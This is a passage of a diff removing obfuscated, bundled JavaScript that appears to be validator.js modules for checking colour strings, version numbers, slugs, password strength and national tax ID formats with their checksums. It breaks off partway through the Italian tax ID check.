- var _0x33357a = /^rgb\((([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5]),){2}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\)$/;
- var _0x29c91d = /^rgba\((([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5]),){3}(0?\.\d|1(\.0)?|0(\.0)?)\)$/;
- var _0x1853a3 = /^rgb\((([0-9]%|[1-9][0-9]%|100%),){2}([0-9]%|[1-9][0-9]%|100%)\)$/;
- var _0x457323 = /^rgba\((([0-9]%|[1-9][0-9]%|100%),){3}(0?\.\d|1(\.0)?|0(\.0)?)\)$/;
- _0x555033.exports = _0x496980.default;
- _0x555033.exports.default = _0x496980.default;
- },
- 6826: (_0x41ad8c, _0x8220f, _0x32e513) => {
- "use strict";
-
- Object.defineProperty(_0x8220f, "__esModule", {
- value: true
- });
- _0x8220f.default = function (_0x14be7e) {
- (0, _0x2c2674.default)(_0x14be7e);
- return _0x327a72.test(_0x14be7e);
- };
- var _0x2c2674 = _0x667f60(_0x32e513(5571));
- function _0x667f60(_0x142e17) {
- return _0x142e17 && _0x142e17.__esModule ? _0x142e17 : {
- default: _0x142e17
- };
- }
- var _0x327a72 = (0, _0x667f60(_0x32e513(4731)).default)(["^(0|[1-9]\\d*)\\.(0|[1-9]\\d*)\\.(0|[1-9]\\d*)", "(?:-((?:0|[1-9]\\d*|\\d*[a-z-][0-9a-z-]*)(?:\\.(?:0|[1-9]\\d*|\\d*[a-z-][0-9a-z-]*))*))", "?(?:\\+([0-9a-z-]+(?:\\.[0-9a-z-]+)*))?$"], "i");
- _0x41ad8c.exports = _0x8220f.default;
- _0x41ad8c.exports.default = _0x8220f.default;
- },
- 8220: (_0x2cc788, _0x3e861f, _0xd759a8) => {
- "use strict";
-
- Object.defineProperty(_0x3e861f, "__esModule", {
- value: true
- });
- _0x3e861f.default = function (_0x71c0c3) {
- (0, _0x4324c5.default)(_0x71c0c3);
- return _0x1cd62f.test(_0x71c0c3);
- };
- var _0x50cd48;
- var _0x4324c5 = (_0x50cd48 = _0xd759a8(5571)) && _0x50cd48.__esModule ? _0x50cd48 : {
- default: _0x50cd48
- };
- var _0x1cd62f = /^[^\s-_](?!.*?[-_]{2,})[a-z0-9-\\][^\s]*[^-_\s]$/;
- _0x2cc788.exports = _0x3e861f.default;
- _0x2cc788.exports.default = _0x3e861f.default;
- },
- 7633: (_0x525407, _0x7a5963, _0x26d7b8) => {
- "use strict";
-
- Object.defineProperty(_0x7a5963, "__esModule", {
- value: true
- });
- _0x7a5963.default = function (_0x4d93c7) {
- var _0x5af341 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : null;
- (0, _0x39ffdc.default)(_0x4d93c7);
- var _0x241e32 = function (_0x278da5) {
- var _0x2d92dc = function (_0x25e928) {
- var _0x5a7c77 = {};
- Array.from(_0x25e928).forEach(function (_0x2f7a14) {
- _0x5a7c77[_0x2f7a14] ? _0x5a7c77[_0x2f7a14] += 1 : _0x5a7c77[_0x2f7a14] = 1;
- });
- return _0x5a7c77;
- }(_0x278da5);
- var _0x43944e = {
- length: _0x278da5.length,
- uniqueChars: Object.keys(_0x2d92dc).length,
- uppercaseCount: 0,
- lowercaseCount: 0,
- numberCount: 0,
- symbolCount: 0
- };
- Object.keys(_0x2d92dc).forEach(function (_0x205183) {
- _0x542875.test(_0x205183) ? _0x43944e.uppercaseCount += _0x2d92dc[_0x205183] : _0x41dcb4.test(_0x205183) ? _0x43944e.lowercaseCount += _0x2d92dc[_0x205183] : _0x4b882a.test(_0x205183) ? _0x43944e.numberCount += _0x2d92dc[_0x205183] : _0x8faf59.test(_0x205183) && (_0x43944e.symbolCount += _0x2d92dc[_0x205183]);
- });
- return _0x43944e;
- }(_0x4d93c7);
- return (_0x5af341 = (0, _0x798bad.default)(_0x5af341 || {}, _0xfeac2d)).returnScore ? function (_0x4a6e60, _0x25f59a) {
- var _0x589e83 = 0;
- _0x589e83 += _0x4a6e60.uniqueChars * _0x25f59a.pointsPerUnique;
- _0x589e83 += (_0x4a6e60.length - _0x4a6e60.uniqueChars) * _0x25f59a.pointsPerRepeat;
- _0x4a6e60.lowercaseCount > 0 && (_0x589e83 += _0x25f59a.pointsForContainingLower);
- _0x4a6e60.uppercaseCount > 0 && (_0x589e83 += _0x25f59a.pointsForContainingUpper);
- _0x4a6e60.numberCount > 0 && (_0x589e83 += _0x25f59a.pointsForContainingNumber);
- _0x4a6e60.symbolCount > 0 && (_0x589e83 += _0x25f59a.pointsForContainingSymbol);
- return _0x589e83;
- }(_0x241e32, _0x5af341) : _0x241e32.length >= _0x5af341.minLength && _0x241e32.lowercaseCount >= _0x5af341.minLowercase && _0x241e32.uppercaseCount >= _0x5af341.minUppercase && _0x241e32.numberCount >= _0x5af341.minNumbers && _0x241e32.symbolCount >= _0x5af341.minSymbols;
- };
- var _0x798bad = _0x2d5e67(_0x26d7b8(4808));
- var _0x39ffdc = _0x2d5e67(_0x26d7b8(5571));
- function _0x2d5e67(_0x40ca6c) {
- return _0x40ca6c && _0x40ca6c.__esModule ? _0x40ca6c : {
- default: _0x40ca6c
- };
- }
- var _0x542875 = /^[A-Z]$/;
- var _0x41dcb4 = /^[a-z]$/;
- var _0x4b882a = /^[0-9]$/;
- var _0x8faf59 = /^[-#!$@£%^&*()_+|~=`{}\[\]:";'<>?,.\/ ]$/;
- var _0xfeac2d = {
- minLength: 8,
- minLowercase: 1,
- minUppercase: 1,
- minNumbers: 1,
- minSymbols: 1,
- returnScore: false,
- pointsPerUnique: 1,
- pointsPerRepeat: 0.5,
- pointsForContainingLower: 10,
- pointsForContainingUpper: 10,
- pointsForContainingNumber: 10,
- pointsForContainingSymbol: 10
- };
- _0x525407.exports = _0x7a5963.default;
- _0x525407.exports.default = _0x7a5963.default;
- },
- 2828: (_0xe65b44, _0x1c210e, _0x161709) => {
- "use strict";
-
- Object.defineProperty(_0x1c210e, "__esModule", {
- value: true
- });
- _0x1c210e.default = function (_0xfff5e2) {
- (0, _0x4b9d4a.default)(_0xfff5e2);
- return _0x18408e.test(_0xfff5e2);
- };
- var _0x1068e4;
- var _0x4b9d4a = (_0x1068e4 = _0x161709(5571)) && _0x1068e4.__esModule ? _0x1068e4 : {
- default: _0x1068e4
- };
- var _0x18408e = /[\uD800-\uDBFF][\uDC00-\uDFFF]/;
- _0xe65b44.exports = _0x1c210e.default;
- _0xe65b44.exports.default = _0x1c210e.default;
- },
- 3058: (_0x2c23bc, _0x4b1fa8, _0x596618) => {
- "use strict";
-
- function _0x259acd(_0x1e7f73) {
- _0x259acd = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (_0x215cd7) {
- return typeof _0x215cd7;
- } : function (_0x249fde) {
- return _0x249fde && "function" == typeof Symbol && _0x249fde.constructor === Symbol && _0x249fde !== Symbol.prototype ? "symbol" : typeof _0x249fde;
- };
- return _0x259acd(_0x1e7f73);
- }
- Object.defineProperty(_0x4b1fa8, "__esModule", {
- value: true
- });
- _0x4b1fa8.default = function (_0x399f85) {
- var _0x1b2564 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : "en-US";
- (0, _0x1c63cf.default)(_0x399f85);
- var _0x31de7b = _0x399f85.slice(0);
- if (_0x1b2564 in _0xfa6d49) {
- _0x1b2564 in _0x145266 && (_0x31de7b = _0x31de7b.replace(_0x145266[_0x1b2564], ""));
- return !!_0xfa6d49[_0x1b2564].test(_0x31de7b) && (!(_0x1b2564 in _0x437827) || _0x437827[_0x1b2564](_0x31de7b));
- }
- throw new Error("Invalid locale '".concat(_0x1b2564, "'"));
- };
- var _0x1c63cf = _0x523dc0(_0x596618(5571));
- var _0x49fcad = function (_0x162908) {
- if (_0x162908 && _0x162908.__esModule) {
- return _0x162908;
- }
- if (null === _0x162908 || "object" !== _0x259acd(_0x162908) && "function" != typeof _0x162908) {
- return {
- default: _0x162908
- };
- }
- var _0x5f3e92 = _0x3a9ddb();
- if (_0x5f3e92 && _0x5f3e92.has(_0x162908)) {
- return _0x5f3e92.get(_0x162908);
- }
- var _0x3514bb = {};
- var _0x89c711 = Object.defineProperty && Object.getOwnPropertyDescriptor;
- for (var _0x336998 in _0x162908) if (Object.prototype.hasOwnProperty.call(_0x162908, _0x336998)) {
- var _0x43fa8b = _0x89c711 ? Object.getOwnPropertyDescriptor(_0x162908, _0x336998) : null;
- _0x43fa8b && (_0x43fa8b.get || _0x43fa8b.set) ? Object.defineProperty(_0x3514bb, _0x336998, _0x43fa8b) : _0x3514bb[_0x336998] = _0x162908[_0x336998];
- }
- _0x3514bb.default = _0x162908;
- _0x5f3e92 && _0x5f3e92.set(_0x162908, _0x3514bb);
- return _0x3514bb;
- }(_0x596618(3672));
- var _0x574a07 = _0x523dc0(_0x596618(2549));
- function _0x3a9ddb() {
- if ("function" != typeof WeakMap) {
- return null;
- }
- var _0x1f4106 = new WeakMap();
- _0x3a9ddb = function () {
- return _0x1f4106;
- };
- return _0x1f4106;
- }
- function _0x523dc0(_0x3addc9) {
- return _0x3addc9 && _0x3addc9.__esModule ? _0x3addc9 : {
- default: _0x3addc9
- };
- }
- function _0x497ed7(_0x17f046, _0x3759eb) {
- (null == _0x3759eb || _0x3759eb > _0x17f046.length) && (_0x3759eb = _0x17f046.length);
- for (var _0x1590f4 = 0, _0x15ce88 = new Array(_0x3759eb); _0x1590f4 < _0x3759eb; _0x1590f4++) {
- _0x15ce88[_0x1590f4] = _0x17f046[_0x1590f4];
- }
- return _0x15ce88;
- }
- var _0x443659 = {
- andover: ["10", "12"],
- atlanta: ["60", "67"],
- austin: ["50", "53"],
- brookhaven: ["01", "02", "03", "04", "05", "06", "11", "13", "14", "16", "21", "22", "23", "25", "34", "51", "52", "54", "55", "56", "57", "58", "59", "65"],
- cincinnati: ["30", "32", "35", "36", "37", "38", "61"],
- fresno: ["15", "24"],
- internet: ["20", "26", "27", "45", "46", "47"],
- kansas: ["40", "44"],
- memphis: ["94", "95"],
- ogden: ["80", "90"],
- philadelphia: ["33", "39", "41", "42", "43", "46", "48", "62", "63", "64", "66", "68", "71", "72", "73", "74", "75", "76", "77", "81", "82", "83", "84", "85", "86", "87", "88", "91", "92", "93", "98", "99"],
- sba: ["31"]
- };
- function _0x9d95de(_0x56c54e) {
- for (var _0x33bce1 = false, _0x22517f = false, _0x16cc48 = 0; _0x16cc48 < 3; _0x16cc48++) {
- if (!_0x33bce1 && /[AEIOU]/.test(_0x56c54e[_0x16cc48])) {
- _0x33bce1 = true;
- } else {
- if (!_0x22517f && _0x33bce1 && "X" === _0x56c54e[_0x16cc48]) {
- _0x22517f = true;
- } else {
- if (_0x16cc48 > 0) {
- if (_0x33bce1 && !_0x22517f && !/[AEIOU]/.test(_0x56c54e[_0x16cc48])) {
- return false;
- }
- if (_0x22517f && !/X/.test(_0x56c54e[_0x16cc48])) {
- return false;
- }
- }
- }
- }
- }
- return true;
- }
- var _0xfa6d49 = {
- "bg-BG": /^\d{10}$/,
- "cs-CZ": /^\d{6}\/{0,1}\d{3,4}$/,
- "de-AT": /^\d{9}$/,
- "de-DE": /^[1-9]\d{10}$/,
- "dk-DK": /^\d{6}-{0,1}\d{4}$/,
- "el-CY": /^[09]\d{7}[A-Z]$/,
- "el-GR": /^([0-4]|[7-9])\d{8}$/,
- "en-CA": /^\d{9}$/,
- "en-GB": /^\d{10}$|^(?!GB|NK|TN|ZZ)(?![DFIQUV])[A-Z](?![DFIQUVO])[A-Z]\d{6}[ABCD ]$/i,
- "en-IE": /^\d{7}[A-W][A-IW]{0,1}$/i,
- "en-US": /^\d{2}[- ]{0,1}\d{7}$/,
- "es-ES": /^(\d{0,8}|[XYZKLM]\d{7})[A-HJ-NP-TV-Z]$/i,
- "et-EE": /^[1-6]\d{6}(00[1-9]|0[1-9][0-9]|[1-6][0-9]{2}|70[0-9]|710)\d$/,
- "fi-FI": /^\d{6}[-+A]\d{3}[0-9A-FHJ-NPR-Y]$/i,
- "fr-BE": /^\d{11}$/,
- "fr-FR": /^[0-3]\d{12}$|^[0-3]\d\s\d{2}(\s\d{3}){3}$/,
- "fr-LU": /^\d{13}$/,
- "hr-HR": /^\d{11}$/,
- "hu-HU": /^8\d{9}$/,
- "it-IT": /^[A-Z]{6}[L-NP-V0-9]{2}[A-EHLMPRST][L-NP-V0-9]{2}[A-ILMZ][L-NP-V0-9]{3}[A-Z]$/i,
- "lv-LV": /^\d{6}-{0,1}\d{5}$/,
- "mt-MT": /^\d{3,7}[APMGLHBZ]$|^([1-8])\1\d{7}$/i,
- "nl-NL": /^\d{9}$/,
- "pl-PL": /^\d{10,11}$/,
- "pt-BR": /(?:^\d{11}$)|(?:^\d{14}$)/,
- "pt-PT": /^\d{9}$/,
- "ro-RO": /^\d{13}$/,
- "sk-SK": /^\d{6}\/{0,1}\d{3,4}$/,
- "sl-SI": /^[1-9]\d{7}$/,
- "sv-SE": /^(\d{6}[-+]{0,1}\d{4}|(18|19|20)\d{6}[-+]{0,1}\d{4})$/,
- "lb-LU": _0xfa6d49["fr-LU"]
- };
- _0xfa6d49["lt-LT"] = _0xfa6d49["et-EE"];
- _0xfa6d49["nl-BE"] = _0xfa6d49["fr-BE"];
- _0xfa6d49["fr-CA"] = _0xfa6d49["en-CA"];
- var _0x437827 = {
- "bg-BG": function (_0x26067f) {
- var _0x5ebcef = _0x26067f.slice(0, 2);
- var _0x20d6a6 = parseInt(_0x26067f.slice(2, 4), 10);
- _0x20d6a6 > 40 ? (_0x20d6a6 -= 40, _0x5ebcef = "20".concat(_0x5ebcef)) : _0x20d6a6 > 20 ? (_0x20d6a6 -= 20, _0x5ebcef = "18".concat(_0x5ebcef)) : _0x5ebcef = "19".concat(_0x5ebcef);
- _0x20d6a6 < 10 && (_0x20d6a6 = "0".concat(_0x20d6a6));
- var _0x4fb6f3 = "".concat(_0x5ebcef, "/").concat(_0x20d6a6, "/").concat(_0x26067f.slice(4, 6));
- if (!(0, _0x574a07.default)(_0x4fb6f3, "YYYY/MM/DD")) {
- return false;
- }
- for (var _0x226bfc = _0x26067f.split("").map(function (_0x396e18) {
- return parseInt(_0x396e18, 10);
- }), _0x5de8b5 = [2, 4, 8, 5, 10, 9, 7, 3, 6], _0x170981 = 0, _0x26c0cc = 0; _0x26c0cc < _0x5de8b5.length; _0x26c0cc++) {
- _0x170981 += _0x226bfc[_0x26c0cc] * _0x5de8b5[_0x26c0cc];
- }
- return (_0x170981 = _0x170981 % 11 == 10 ? 0 : _0x170981 % 11) === _0x226bfc[9];
- },
- "cs-CZ": function (_0xb4c71b) {
- _0xb4c71b = _0xb4c71b.replace(/\W/, "");
- var _0x1f0dbc = parseInt(_0xb4c71b.slice(0, 2), 10);
- if (10 === _0xb4c71b.length) {
- _0x1f0dbc = _0x1f0dbc < 54 ? "20".concat(_0x1f0dbc) : "19".concat(_0x1f0dbc);
- } else {
- if ("000" === _0xb4c71b.slice(6)) {
- return false;
- }
- if (!(_0x1f0dbc < 54)) {
- return false;
- }
- _0x1f0dbc = "19".concat(_0x1f0dbc);
- }
- 3 === _0x1f0dbc.length && (_0x1f0dbc = [_0x1f0dbc.slice(0, 2), "0", _0x1f0dbc.slice(2)].join(""));
- var _0x1399e2 = parseInt(_0xb4c71b.slice(2, 4), 10);
- if (_0x1399e2 > 50 && (_0x1399e2 -= 50), _0x1399e2 > 20) {
- if (parseInt(_0x1f0dbc, 10) < 2004) {
- return false;
- }
- _0x1399e2 -= 20;
- }
- _0x1399e2 < 10 && (_0x1399e2 = "0".concat(_0x1399e2));
- var _0x4c1b40 = "".concat(_0x1f0dbc, "/").concat(_0x1399e2, "/").concat(_0xb4c71b.slice(4, 6));
- if (!(0, _0x574a07.default)(_0x4c1b40, "YYYY/MM/DD")) {
- return false;
- }
- if (10 === _0xb4c71b.length && parseInt(_0xb4c71b, 10) % 11 != 0) {
- var _0x129169 = parseInt(_0xb4c71b.slice(0, 9), 10) % 11;
- if (!(parseInt(_0x1f0dbc, 10) < 1986 && 10 === _0x129169)) {
- return false;
- }
- if (0 !== parseInt(_0xb4c71b.slice(9), 10)) {
- return false;
- }
- }
- return true;
- },
- "de-AT": function (_0x441349) {
- return _0x49fcad.luhnCheck(_0x441349);
- },
- "de-DE": function (_0x17ec3e) {
- for (var _0x85bcda = _0x17ec3e.split("").map(function (_0x46ef1c) {
- return parseInt(_0x46ef1c, 10);
- }), _0x59c658 = [], _0x56c944 = 0; _0x56c944 < _0x85bcda.length - 1; _0x56c944++) {
- _0x59c658.push("");
- for (var _0x4ed2bf = 0; _0x4ed2bf < _0x85bcda.length - 1; _0x4ed2bf++) {
- _0x85bcda[_0x56c944] === _0x85bcda[_0x4ed2bf] && (_0x59c658[_0x56c944] += _0x4ed2bf);
- }
- }
- if (2 !== (_0x59c658 = _0x59c658.filter(function (_0x5824e2) {
- return _0x5824e2.length > 1;
- })).length && 3 !== _0x59c658.length) {
- return false;
- }
- if (3 === _0x59c658[0].length) {
- for (var _0xbc172c = _0x59c658[0].split("").map(function (_0x3b4f0a) {
- return parseInt(_0x3b4f0a, 10);
- }), _0x21bdb5 = 0, _0x15f2f6 = 0; _0x15f2f6 < _0xbc172c.length - 1; _0x15f2f6++) {
- _0xbc172c[_0x15f2f6] + 1 === _0xbc172c[_0x15f2f6 + 1] && (_0x21bdb5 += 1);
- }
- if (2 === _0x21bdb5) {
- return false;
- }
- }
- return _0x49fcad.iso7064Check(_0x17ec3e);
- },
- "dk-DK": function (_0x4903cc) {
- _0x4903cc = _0x4903cc.replace(/\W/, "");
- var _0x1d938b = parseInt(_0x4903cc.slice(4, 6), 10);
- switch (_0x4903cc.slice(6, 7)) {
- case "0":
- case "1":
- case "2":
- case "3":
- _0x1d938b = "19".concat(_0x1d938b);
- break;
- case "4":
- case "9":
- _0x1d938b = _0x1d938b < 37 ? "20".concat(_0x1d938b) : "19".concat(_0x1d938b);
- break;
- default:
- if (_0x1d938b < 37) {
- _0x1d938b = "20".concat(_0x1d938b);
- } else {
- if (!(_0x1d938b > 58)) {
- return false;
- }
- _0x1d938b = "18".concat(_0x1d938b);
- }
- }
- 3 === _0x1d938b.length && (_0x1d938b = [_0x1d938b.slice(0, 2), "0", _0x1d938b.slice(2)].join(""));
- var _0xcc804c = "".concat(_0x1d938b, "/").concat(_0x4903cc.slice(2, 4), "/").concat(_0x4903cc.slice(0, 2));
- if (!(0, _0x574a07.default)(_0xcc804c, "YYYY/MM/DD")) {
- return false;
- }
- for (var _0x309df2 = _0x4903cc.split("").map(function (_0x165752) {
- return parseInt(_0x165752, 10);
- }), _0x5578da = 0, _0x2787a5 = 4, _0x451c9f = 0; _0x451c9f < 9; _0x451c9f++) {
- _0x5578da += _0x309df2[_0x451c9f] * _0x2787a5;
- 1 == (_0x2787a5 -= 1) && (_0x2787a5 = 7);
- }
- return 1 != (_0x5578da %= 11) && (0 === _0x5578da ? 0 === _0x309df2[9] : _0x309df2[9] === 11 - _0x5578da);
- },
- "el-CY": function (_0x32ffb9) {
- for (var _0x1e986a = _0x32ffb9.slice(0, 8).split("").map(function (_0x473e48) {
- return parseInt(_0x473e48, 10);
- }), _0x2bad19 = 0, _0x435180 = 1; _0x435180 < _0x1e986a.length; _0x435180 += 2) {
- _0x2bad19 += _0x1e986a[_0x435180];
- }
- for (var _0x35fa90 = 0; _0x35fa90 < _0x1e986a.length; _0x35fa90 += 2) {
- _0x1e986a[_0x35fa90] < 2 ? _0x2bad19 += 1 - _0x1e986a[_0x35fa90] : (_0x2bad19 += 2 * (_0x1e986a[_0x35fa90] - 2) + 5, _0x1e986a[_0x35fa90] > 4 && (_0x2bad19 += 2));
- }
- return String.fromCharCode(_0x2bad19 % 26 + 65) === _0x32ffb9.charAt(8);
- },
- "el-GR": function (_0x1f7d09) {
- for (var _0x3122ba = _0x1f7d09.split("").map(function (_0x382350) {
- return parseInt(_0x382350, 10);
- }), _0x3a65a8 = 0, _0x3fa460 = 0; _0x3fa460 < 8; _0x3fa460++) {
- _0x3a65a8 += _0x3122ba[_0x3fa460] * Math.pow(2, 8 - _0x3fa460);
- }
- return _0x3a65a8 % 11 % 10 === _0x3122ba[8];
- },
- "en-CA": function (_0x2cfc4f) {
- var _0x15d01e = _0x2cfc4f.split("");
- var _0x31d8ae = _0x15d01e.filter(function (_0x2f2eba, _0x32cb22) {
- return _0x32cb22 % 2;
- }).map(function (_0x5b8c3c) {
- return 2 * Number(_0x5b8c3c);
- }).join("").split("");
- return _0x15d01e.filter(function (_0x590b8e, _0x185dcc) {
- return !(_0x185dcc % 2);
- }).concat(_0x31d8ae).map(function (_0x2b455d) {
- return Number(_0x2b455d);
- }).reduce(function (_0xe493cf, _0x4f5c66) {
- return _0xe493cf + _0x4f5c66;
- }) % 10 == 0;
- },
- "en-IE": function (_0x3fe340) {
- var _0x4017e5 = _0x49fcad.reverseMultiplyAndSum(_0x3fe340.split("").slice(0, 7).map(function (_0x424e39) {
- return parseInt(_0x424e39, 10);
- }), 8);
- 9 === _0x3fe340.length && "W" !== _0x3fe340[8] && (_0x4017e5 += 9 * (_0x3fe340[8].charCodeAt(0) - 64));
- return 0 == (_0x4017e5 %= 23) ? "W" === _0x3fe340[7].toUpperCase() : _0x3fe340[7].toUpperCase() === String.fromCharCode(64 + _0x4017e5);
- },
- "en-US": function (_0x5c6b3a) {
- return -1 !== function () {
- var _0x2ffcf8;
- var _0x4fe845 = [];
- for (var _0x2d06b5 in _0x443659) _0x443659.hasOwnProperty(_0x2d06b5) && _0x4fe845.push.apply(_0x4fe845, function (_0x572383) {
- if (Array.isArray(_0x572383)) {
- return _0x497ed7(_0x572383);
- }
- }(_0x2ffcf8 = _0x443659[_0x2d06b5]) || function (_0x2965d6) {
- if ("undefined" != typeof Symbol && Symbol.iterator in Object(_0x2965d6)) {
- return Array.from(_0x2965d6);
- }
- }(_0x2ffcf8) || function (_0x484363, _0x319eaf) {
- if (_0x484363) {
- if ("string" == typeof _0x484363) {
- return _0x497ed7(_0x484363, _0x319eaf);
- }
- var _0x29c241 = Object.prototype.toString.call(_0x484363).slice(8, -1);
- "Object" === _0x29c241 && _0x484363.constructor && (_0x29c241 = _0x484363.constructor.name);
- return "Map" === _0x29c241 || "Set" === _0x29c241 ? Array.from(_0x484363) : "Arguments" === _0x29c241 || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(_0x29c241) ? _0x497ed7(_0x484363, _0x319eaf) : undefined;
- }
- }(_0x2ffcf8) || function () {
- throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }());
- return _0x4fe845;
- }().indexOf(_0x5c6b3a.slice(0, 2));
- },
- "es-ES": function (_0x3430f3) {
- var _0x38c7f4 = _0x3430f3.toUpperCase().split("");
- if (isNaN(parseInt(_0x38c7f4[0], 10)) && _0x38c7f4.length > 1) {
- var _0x1e6fcc = 0;
- switch (_0x38c7f4[0]) {
- case "Y":
- _0x1e6fcc = 1;
- break;
- case "Z":
- _0x1e6fcc = 2;
- }
- _0x38c7f4.splice(0, 1, _0x1e6fcc);
- } else {
- for (; _0x38c7f4.length < 9;) {
- _0x38c7f4.unshift(0);
- }
- }
- _0x38c7f4 = _0x38c7f4.join("");
- var _0x158f0e = parseInt(_0x38c7f4.slice(0, 8), 10) % 23;
- return _0x38c7f4[8] === ["T", "R", "W", "A", "G", "M", "Y", "F", "P", "D", "X", "B", "N", "J", "Z", "S", "Q", "V", "H", "L", "C", "K", "E"][_0x158f0e];
- },
- "et-EE": function (_0x4dbbdc) {
- var _0x5ab228 = _0x4dbbdc.slice(1, 3);
- switch (_0x4dbbdc.slice(0, 1)) {
- case "1":
- case "2":
- _0x5ab228 = "18".concat(_0x5ab228);
- break;
- case "3":
- case "4":
- _0x5ab228 = "19".concat(_0x5ab228);
- break;
- default:
- _0x5ab228 = "20".concat(_0x5ab228);
- }
- var _0x34ceb8 = "".concat(_0x5ab228, "/").concat(_0x4dbbdc.slice(3, 5), "/").concat(_0x4dbbdc.slice(5, 7));
- if (!(0, _0x574a07.default)(_0x34ceb8, "YYYY/MM/DD")) {
- return false;
- }
- for (var _0x276a12 = _0x4dbbdc.split("").map(function (_0x9ac2df) {
- return parseInt(_0x9ac2df, 10);
- }), _0x493bfd = 0, _0x2e8bc8 = 1, _0x1c2944 = 0; _0x1c2944 < 10; _0x1c2944++) {
- _0x493bfd += _0x276a12[_0x1c2944] * _0x2e8bc8;
- 10 === (_0x2e8bc8 += 1) && (_0x2e8bc8 = 1);
- }
- if (_0x493bfd % 11 == 10) {
- _0x493bfd = 0;
- _0x2e8bc8 = 3;
- for (var _0x2b25d5 = 0; _0x2b25d5 < 10; _0x2b25d5++) {
- _0x493bfd += _0x276a12[_0x2b25d5] * _0x2e8bc8;
- 10 === (_0x2e8bc8 += 1) && (_0x2e8bc8 = 1);
- }
- if (_0x493bfd % 11 == 10) {
- return 0 === _0x276a12[10];
- }
- }
- return _0x493bfd % 11 === _0x276a12[10];
- },
- "fi-FI": function (_0x571dd5) {
- var _0x378d0a = _0x571dd5.slice(4, 6);
- switch (_0x571dd5.slice(6, 7)) {
- case "+":
- _0x378d0a = "18".concat(_0x378d0a);
- break;
- case "-":
- _0x378d0a = "19".concat(_0x378d0a);
- break;
- default:
- _0x378d0a = "20".concat(_0x378d0a);
- }
- var _0x42d0f2 = "".concat(_0x378d0a, "/").concat(_0x571dd5.slice(2, 4), "/").concat(_0x571dd5.slice(0, 2));
- if (!(0, _0x574a07.default)(_0x42d0f2, "YYYY/MM/DD")) {
- return false;
- }
- var _0xd6a444 = parseInt(_0x571dd5.slice(0, 6) + _0x571dd5.slice(7, 10), 10) % 31;
- return _0xd6a444 < 10 ? _0xd6a444 === parseInt(_0x571dd5.slice(10), 10) : ["A", "B", "C", "D", "E", "F", "H", "J", "K", "L", "M", "N", "P", "R", "S", "T", "U", "V", "W", "X", "Y"][_0xd6a444 -= 10] === _0x571dd5.slice(10);
- },
- "fr-BE": function (_0x235e3c) {
- if ("00" !== _0x235e3c.slice(2, 4) || "00" !== _0x235e3c.slice(4, 6)) {
- var _0x32a894 = "".concat(_0x235e3c.slice(0, 2), "/").concat(_0x235e3c.slice(2, 4), "/").concat(_0x235e3c.slice(4, 6));
- if (!(0, _0x574a07.default)(_0x32a894, "YY/MM/DD")) {
- return false;
- }
- }
- var _0x1ff32c = 97 - parseInt(_0x235e3c.slice(0, 9), 10) % 97;
- var _0x1a662f = parseInt(_0x235e3c.slice(9, 11), 10);
- return _0x1ff32c === _0x1a662f || (_0x1ff32c = 97 - parseInt("2".concat(_0x235e3c.slice(0, 9)), 10) % 97) === _0x1a662f;
- },
- "fr-FR": function (_0x4104d6) {
- _0x4104d6 = _0x4104d6.replace(/\s/g, "");
- return parseInt(_0x4104d6.slice(0, 10), 10) % 511 === parseInt(_0x4104d6.slice(10, 13), 10);
- },
- "fr-LU": function (_0x48a4d6) {
- var _0x39a984 = "".concat(_0x48a4d6.slice(0, 4), "/").concat(_0x48a4d6.slice(4, 6), "/").concat(_0x48a4d6.slice(6, 8));
- return !!(0, _0x574a07.default)(_0x39a984, "YYYY/MM/DD") && !!_0x49fcad.luhnCheck(_0x48a4d6.slice(0, 12)) && _0x49fcad.verhoeffCheck("".concat(_0x48a4d6.slice(0, 11)).concat(_0x48a4d6[12]));
- },
- "hr-HR": function (_0x4c7dae) {
- return _0x49fcad.iso7064Check(_0x4c7dae);
- },
- "hu-HU": function (_0x1ebfbf) {
- for (var _0x1383ec = _0x1ebfbf.split("").map(function (_0xda7a0b) {
- return parseInt(_0xda7a0b, 10);
- }), _0x2e11ab = 8, _0x19464a = 1; _0x19464a < 9; _0x19464a++) {
- _0x2e11ab += _0x1383ec[_0x19464a] * (_0x19464a + 1);
- }
- return _0x2e11ab % 11 === _0x1383ec[9];
- },
- "it-IT": function (_0x55afc8) {
- var _0x2051b1 = _0x55afc8.toUpperCase().split("");
- if (!_0x9d95de(_0x2051b1.slice(0, 3))) {
- return false;
- }
- if (!_0x9d95de(_0x2051b1.slice(3, 6))) {
- return false;
- }
- for (var _0x4a4cad = {
- L: "0",
- M: "1",
- N: "2",
- P: "3",
- Q: "4",
- R: "5",
- S: "6",
- T: "7",
- U: "8",
- V: "9"
- }, _0x575825 = 0, _0x170a70 = [6, 7, 9, 10, 12, 13, 14]; _0x575825 < _0x170a70.length; _0x575825++) {
- var _0x2df7a7 = _0x170a70[_0x575825];
- _0x2051b1[_0x2df7a7] in _0x4a4cad && _0x2051b1.splice(_0x2df7a7, 1, _0x4a4cad[_0x2051b1[_0x2df7a7]]);
- }
- var _0x28bca6 = {
- A: "01",
- B: "02",
- C: "03",
- D: "04",
- E: "05",
- H: "06",
- L: "07",
- M: "08",
- P: "09",
- R: "10",
- S: "11",
- T: "12"
- }[_0x2051b1[8]];
- var _0x3a5f20 = parseInt(_0x2051b1[9] + _0x2051b1[10], 10);
- _0x3a5f20 > 40 && (_0x3a5f20 -= 40);
- _0x3a5f20 < 10 && (_0x3a5f20 = "0".concat(_0x3a5f20));
- var _0x1f422e = "".concat(_0x2051b1[6]).concat(_0x2051b1[7], "/").concat(_0x28bca6, "/").concat(_0x3a5f20);
- if (!(0, _0x574a07.default)(_0x1f422e, "YY/MM/DD")) {
- return false;
- }
- for (var _0x47682a = 0, _0x549b4f = 1; _0x549b4f < _0x2051b1.length - 1; _0x549b4f += 2) {
- var _0x50b607 = parseInt(_0x2051b1[_0x549b4f], 10);
- isNaN(_0x50b607) && (_0x50b607 = _0x2051b1[_0x549b4f].charCodeAt(0) - 65);
- _0x47682a += _0x50b607;
- }
- for (var _0x457ff1 = {
- A: 1,
- B: 0,
- C: 5,
- D: 7,
